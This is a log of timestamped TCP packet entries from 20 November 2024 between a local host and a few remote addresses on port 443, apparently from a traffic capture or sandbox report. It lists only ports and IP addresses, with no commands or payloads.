Nov 20, 2024 17:42:13.950120926 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:13.950134993 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.062962055 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.063479900 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.063497066 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.063975096 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.063987017 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.084395885 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.096558094 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.096621037 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.097129107 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.097145081 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.259123087 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.260607004 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.260648966 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.261142015 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.261147976 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.520015955 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.524456978 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.524496078 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.524561882 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.524595022 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.544622898 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.547945023 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.548055887 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.704117060 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.707600117 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.707683086 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.818804026 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.818831921 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:14.818866968 CET	49875	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:14.818875074 CET	443	49875	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.091512918 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.091512918 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.091593027 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.091624975 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.116704941 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.116705894 CET	49876	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.116765022 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.116827011 CET	443	49876	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.255789995 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.255839109 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.255907059 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.281430006 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.281466961 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.288733959 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.288775921 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.288836002 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.289390087 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.289410114 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.292229891 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.292269945 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.292350054 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.293188095 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.293216944 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.669423103 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.669903040 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.669950008 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.670392036 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.670398951 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.697971106 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.698769093 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.698786974 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:15.700202942 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:15.700206995 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.225979090 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.226150990 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.226334095 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.226366997 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.226381063 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.226392031 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.226397038 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.229326010 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.229371071 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.229434013 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.229614019 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.229625940 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.246665955 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.247590065 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.247651100 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.247658014 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.247708082 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.247749090 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.247767925 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.247777939 CET	49887	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.247783899 CET	443	49887	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.249933004 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.249955893 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:16.250024080 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.250144958 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:16.250159979 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.103882074 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.104238987 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.104707956 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.104738951 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.105185986 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.105191946 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.105403900 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.105432987 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.105746984 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.105751991 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.141470909 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.142112017 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.142194986 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.142611027 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.142647982 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.567226887 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.567992926 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.571065903 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.571192980 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.571288109 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.571291924 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.587570906 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.590750933 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.590807915 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.590969086 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.590969086 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.592163086 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.592199087 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.592215061 CET	49903	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.592221975 CET	443	49903	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.593291044 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.593305111 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.593313932 CET	49902	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.593318939 CET	443	49902	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.595102072 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.595145941 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.595179081 CET	49904	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.595195055 CET	443	49904	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.605206966 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.605241060 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.605403900 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.606193066 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.606224060 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.606404066 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.606439114 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.606451988 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.607399940 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.607423067 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.607436895 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.607453108 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:17.607507944 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.607613087 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:17.607619047 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.020559072 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.021234989 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.021255016 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.021717072 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.021723032 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.039194107 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.039695024 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.039710999 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.040116072 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.040121078 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.467555046 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.470597029 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.472289085 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.472332001 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.472352982 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.472367048 CET	49911	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.472372055 CET	443	49911	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.475503922 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.475537062 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.475619078 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.475847006 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.475861073 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.569288969 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.569545031 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.569663048 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.569919109 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.569945097 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.569969893 CET	49912	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.569977999 CET	443	49912	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.573573112 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.573605061 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:18.577450991 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.577622890 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:18.577629089 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.413187027 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:19.413253069 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:19.413357973 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:19.413933039 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:19.413955927 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:19.555723906 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.556485891 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.556518078 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.557528019 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.557539940 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.558737040 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.559104919 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.559117079 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.559722900 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.559726954 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.560550928 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.560874939 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.560889959 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.561438084 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:19.561443090 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:19.699796915 CET	443	49738	104.98.116.138	192.168.2.7
Nov 20, 2024 17:42:19.699882984 CET	49738	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:42:20.003421068 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.003454924 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.003505945 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.003520966 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.003562927 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.011425018 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.014861107 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.014919043 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.046955109 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.050101042 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.050157070 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.146882057 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.146944046 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.146966934 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.146979094 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.149122000 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.149148941 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.149166107 CET	49923	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.149173021 CET	443	49923	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.161243916 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.161243916 CET	49925	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.161262035 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.161273003 CET	443	49925	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.221991062 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.222022057 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.222104073 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.225027084 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.225065947 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.225126028 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.227369070 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.227397919 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.227494001 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.228393078 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.228410959 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.228646040 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.228662014 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.229517937 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.229532003 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.364078045 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.364586115 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.364605904 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.365397930 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.365403891 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.398788929 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.399329901 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.399343967 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.399821043 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.399827003 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.831543922 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.834311962 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.834386110 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.834455967 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.834476948 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.834486961 CET	49930	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.834491968 CET	443	49930	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.837599993 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.837709904 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.837812901 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.838009119 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.838042974 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.885097027 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.888040066 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.888127089 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.892823935 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.892823935 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.892839909 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.892851114 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.905112028 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.905164957 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:20.905237913 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.905514956 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:20.905544043 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:21.119054079 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:21.119175911 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:21.120913982 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:21.120939016 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:21.121177912 CET	443	49932	20.12.23.50	192.168.2.7
Nov 20, 2024 17:42:21.173160076 CET	49932	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:42:22.147172928 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.147849083 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.147866011 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.148335934 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.148341894 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.171533108 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.171915054 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.171937943 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.172379017 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.172384024 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.183971882 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.184318066 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.184334993 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.184714079 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.184719086 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.582174063 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.620553970 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.620598078 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.621057987 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.621071100 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.648478031 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.648504019 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.648561001 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.648628950 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.648628950 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.655070066 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.670365095 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.673578978 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.673638105 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.702333927 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.705050945 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.705323935 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.705408096 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.732316017 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.732316017 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.732337952 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.732352018 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.793315887 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.793344021 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.797323942 CET	49942	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.797348022 CET	443	49942	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.797539949 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.797559023 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.797585011 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.797596931 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.806154966 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.806168079 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.806191921 CET	49936	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.806199074 CET	443	49936	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.817447901 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.817476034 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.817503929 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.817523956 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.817576885 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.817600965 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.818813086 CET	49950	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.818828106 CET	443	49950	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.818936110 CET	49949	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.818963051 CET	443	49949	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.820544958 CET	49951	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:42:22.820566893 CET	443	49951	13.107.246.63	192.168.2.7
Nov 20, 2024 17:42:22.820625067 CET	49951	443	192.168.2.7	13.107.246.63
